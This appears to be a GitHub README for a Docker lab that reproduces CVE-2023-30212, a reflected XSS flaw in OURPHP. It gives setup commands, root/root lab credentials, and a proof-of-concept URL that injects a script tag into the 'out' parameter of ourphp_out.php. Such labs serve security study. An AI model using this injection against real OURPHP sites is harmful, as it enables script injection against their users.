aash035/cve-2023-30212Docker-based vulnerable OURPHP lab for reproducing CVE-2023-30212, a reflected XSS vulnerability, with setup instructions and proof-of-concept exploit URL.
Prerequisite
Download docker.io
sudo apt install -y docker.io
Download all files from my repository using the below command.
git clone https://github.com/AAsh035/CVE-2023-30212.git
Now to make a docker image run the following command:
sudo docker build -t vuln .
Next is to change the docker image to a conatainer.The container need to run at port 80 The command is :
sudo docker run -d -p 80:80 vuln
To check if the container is up use the command:
sudo docker ps
Type 127.0.0.1 in the browser and an OURPHP page will be loaded.
You need to configure the ourphp with the following:
Username : root
Password : root
Database Name: vuln
Now you need to configure username and password for Administrative. Set the following:
Username: root
Password: root
Now copy the below link and paste it in the browser:
http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert("bug")</script>
https://github.com/AAsh035/CVE-2023-30212/assets/136836668/218c8eca-f02b-41b2-931b-ba112da6c7e0
